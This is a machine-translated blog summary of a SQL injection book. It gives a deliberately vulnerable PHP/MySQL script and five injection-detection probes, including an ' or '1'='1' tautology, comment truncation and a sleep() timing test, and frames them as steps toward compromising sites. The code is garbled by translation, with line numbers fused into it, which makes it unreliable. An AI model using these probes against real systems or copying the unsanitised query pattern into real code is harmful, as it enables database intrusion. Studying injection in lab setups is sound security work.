After reading the "SQL Injection attack and defense 2nd version", found that the original can also black site, just a word: too cool.
Briefly summarize the intrusion steps:
1. Determine if there is a SQL Injection Vulnerability
2. Determine the database type
3, the combination of SQL statements, the implementation of infiltration
4, get the highest privileges, how to play on how to play
Learn the SQL injection vulnerability that requires material:
Browser X1
Wamp Integration Pack X1
PHP Script a X1
Database A X1
PHP Script content:
1 <? PHP2 //Get Data3$id=Empty ($_get[' id '])?"NULL": $_get[' id '];4$name=Empty ($_get[' name '])?"NULL": $_get[' name '];5 //connecting to a database6$connect=Mysql_connect ('localhost','Root','123456');7 //Select Database8mysql_select_db ('New', $connect);9 //Combining SQL statementsTen$sql="SELECT * fromOnewhereId={$id}orName='{$name}'"; One //Execute SQL statement A$result=mysql_query ($sql); - //Show Data Results - while($row=mysql_fetch_array ($result)) { theecho "<Pre>"; - Print_r ($row); -echo "</Pre>"; -}
View Code
Creating databases and data tables
1 --Create a database2 CreateDatabasesif existsnew;3 --Create a data table4 Create TableOne (5Idint not NULLAuto_incrementPrimary Key,6Namevarchar(Ten) not NULL,7Pwdvarchar(Ten) not NULL,8Priceint not NULL9) engine=MyISAMdefaultCharSet=UTF8;
View Code
Here are 5 ways to determine if there is a SQL injection vulnerability
1. Judging by operator
2. Judging by connection string
3, according to the inline SQL judgment
4, according to the SQL comment character to judge
5. Judging by Time delay
The following example is a test to determine if there is a SQL injection.
One, according to the < operator > Determine whether there is a SQL vulnerability. The implementation steps are as follows:
Normal operation Flow:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=1 or name= ' NULL '
2, view the browser output, will find the data ID 1 is output
Non-functioning process, using operators:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=4-1 or name= ' NULL '
2, view the browser output results, will find that the ID 3 data is output. Because SQL performs the 4-1 operation.
B. Based on < string > Determine if there is a SQL vulnerability. The implementation steps are as follows:
Normal operation Flow:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=null or name= ' Hello '
2, check the browser output, will find the name of Hello data is output
Non-normal running smooth, using string connection
1. Enter the address in the browser
SQL statement:SELECT * from one where id=null or name= ' he ' Llo '
2, view the browser output results, will find the name of Hello data is output. Because SQL performs the following: string connection operation.
Third, according to the < string inline > Determine whether there is a SQL Injection vulnerability. The implementation steps are as follows:
Normal operation Smooth:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=null or name= ' Hello '
2, view the browser output results, will find the name of Hello data is output.
Non-normal operation process:
1. Enter the address in the browse
SQL statement:SELECT * from one where id=null or name= ' he ' llo ' or ' 1 ' = ' 1 '
2, view the browser output results, will find all the data is output.
Iv. using <sql notation > to determine if there is a SQL Input Vulnerability
Normal operation Flow:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=3 or name= ' NULL '
2, view the browser output, will find the data ID 3 is displayed
Non-normal operation process:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=3--or name= ' NULL '
2, view the browser output, will find the data ID 3 is displayed
V. Use < time delay > Determine if there is a SQL Injection Vulnerability
Normal operation Flow:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=3 or name= ' NULL '
2, view the browser output, will find the data ID 3 is displayed
Non-normal operation process:
1. Enter the address in the browser
SQL statement:SELECT * from one where id=3 or sleep (ten) or name= ' NULL '
2, when the browser returns results, there will be a noticeable delay
Note: The database used for this test is a MySQL database, and the SQL statements are for MySQL. Other databases test the same way, as long as the idea is correct all OK.
Note: Sqlmap tools heard very good, you can try.
SQL injection attack and Defense 2nd Edition Summary of how to determine SQL injection vulnerability